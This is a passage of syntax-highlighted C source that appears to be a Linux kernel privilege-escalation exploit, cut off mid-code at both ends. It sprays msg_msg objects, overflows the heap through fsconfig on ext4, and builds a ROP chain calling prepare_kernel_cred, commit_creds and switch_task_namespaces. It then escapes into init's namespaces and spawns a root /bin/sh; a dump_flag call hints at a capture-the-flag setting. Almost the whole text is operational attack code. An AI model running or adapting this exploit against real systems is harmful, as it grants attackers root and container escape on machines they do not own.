</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"🎲🎲🎲🎲🎲🎲🎲🎲🎲🎲"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
close(fd);
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
__attribute__((naked)) win()
{
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// thanks movaps sooooooo much</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">asm</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">volatile</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(
<span class="hljs-string" style="color: #a31515;">"mov rbp, rsp;"</span>
<span class="hljs-string" style="color: #a31515;">"and rsp, -0xf;"</span>
<span class="hljs-string" style="color: #a31515;">"call dump_flag;"</span>
<span class="hljs-string" style="color: #a31515;">"mov rsp, rbp;"</span>
<span class="hljs-string" style="color: #a31515;">"ret;"</span>)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">pwned</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">()</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
write(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"ROOOOOOOOOOOT\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">14</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
setns(open(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"/proc/1/ns/mnt"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, O_RDONLY), </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
setns(open(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"/proc/1/ns/pid"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, O_RDONLY), </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
setns(open(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"/proc/1/ns/net"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, O_RDONLY), </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
win();
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *args[] = {</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"/bin/sh"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">NULL</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
execve(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"/bin/sh"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, args, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">NULL</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
_exit(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">do_win</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">uint64_t</span> kmalloc_512, <span class="hljs-type" style="color: #a31515;">uint64_t</span> kmalloc_1024)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> size = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> target = make_queue(IPC_PRIVATE, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0666</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> | IPC_CREAT);
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> buffer[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">}, recieved[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> pat[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x40</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
msg* message = (msg*)buffer;
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memset</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(buffer, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x44</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(buffer));
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ready = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ignition_target = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// doesn't matter as long as valid pointers</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> next_target = kmalloc_1024 + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x440</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> prev_target = kmalloc_512 + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x440</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// set up arb free primitive, avoid tripping hardened usercopy when re-alloc with msg_msg</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> free_target = kmalloc_1024 - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x20</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> make_sec_happy = kmalloc_512 - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x20</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
stuff_4k(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">16</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> targets[P_SPRAY] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">while</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (!ready)
{
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < P_SPRAY; i++)
{
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memset</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(buffer, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x41</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">+i, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(buffer));
targets[i] = make_queue(IPC_PRIVATE, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0666</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> | IPC_CREAT);
send_msg(targets[i], message, size - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
get_msg(targets[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], recieved, size</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-0x30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// misaligned arb free attack</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
fd = fsopen(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"ext4"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (fd < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"Opening"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">strcpy</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(pat, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">117</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i++) {
fsconfig(fd, FSCONFIG_SET_STRING, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"\x00"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, pat, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"[*] Done heap overflow"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> evil[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x40</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *evil_ptr = (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *)evil;
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memset</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(evil, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x41</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
evil_ptr[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = next_target;
evil_ptr[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = prev_target;
evil_ptr[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">4</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = free_target;
evil_ptr[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">5</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = make_sec_happy;
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// in case null bytes in addresses</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">strlen</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(evil) != </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"unable to continue given heap addresses"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"[*] Overflowing..."</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
fsconfig(fd, FSCONFIG_SET_STRING, evil, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"\x00"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"check heap to check preparedness for ignition"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
stuff_4k(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">16</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < P_SPRAY; i++)
{
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memset</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(recieved, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(recieved));
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// rely on error code to determine if we have found our target which we overflowed into</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ret = get_msg_no_err(targets[i], recieved, size+</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x50</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-0x30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (ret < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
ready = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
ignition_target = i;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">break</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (!ready)
{
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"nothing ready for ignition, trying again"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// re-stuff freelist and stabilize</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
stuff_4k(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">16</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> overwrite[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x300</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memset</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(overwrite, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x41</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(overwrite));
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *overwrite_ptr = (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *)overwrite;
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// redirect to "table" of stack pivots</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
overwrite_ptr[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = kmalloc_512 + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x50</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> user_rflags, user_cs, user_ss, user_sp;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">asm</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">volatile</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(
<span class="hljs-string" style="color: #a31515;">"mov %0, %%cs\n"</span>
<span class="hljs-string" style="color: #a31515;">"mov %1, %%ss\n"</span>
<span class="hljs-string" style="color: #a31515;">"mov %2, %%rsp\n"</span>
<span class="hljs-string" style="color: #a31515;">"pushfq\n"</span>
<span class="hljs-string" style="color: #a31515;">"pop %3\n"</span>
: <span class="hljs-string" style="color: #a31515;">"=r"</span> (user_cs), <span class="hljs-string" style="color: #a31515;">"=r"</span> (user_ss), <span class="hljs-string" style="color: #a31515;">"=r"</span> (user_sp), <span class="hljs-string" style="color: #a31515;">"=r"</span> (user_rflags)
)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> chain[] =
{
pop_rdi,
</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
prepare_kernel_cred,
pop_rsi,
</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xbaadbabe</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
cmov_rdi_rax_esi_nz_pop_rbp,
</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xdeadbeef</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
commit_creds,
pop_rdi,
</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
find_task_by_vpid,
pop_rsi,
</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xbaadbabe</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
cmov_rdi_rax_esi_nz_pop_rbp,
</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xdeadbeef</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
pop_rsi,
init_nsproxy,
switch_task_namespaces,
kpti_trampoline,
</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xdeadbeef</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xbaadf00d</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
(</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)pwned,
user_cs,
user_rflags,
user_sp & </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xffffffffffffff00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
user_ss,
};
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memcpy</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(&overwrite_ptr[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], chain, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(chain));
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < P_SPRAY; i++)
{
get_msg(targets[i], recieved, size</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-0x30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, IPC_NOWAIT | MSG_NOERROR);
}
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// spray rop chain plus evil vtable ptr to overlap with pipe_buffer</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < ROP_SPRAY; i++)
{
send_msg(rop_msg_qid[i], overwrite, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x300</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
deplete_512();
deplete_4k();
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"[*] Attempt at igniting ROP!"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// trigger</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < PIPES; i++)
{
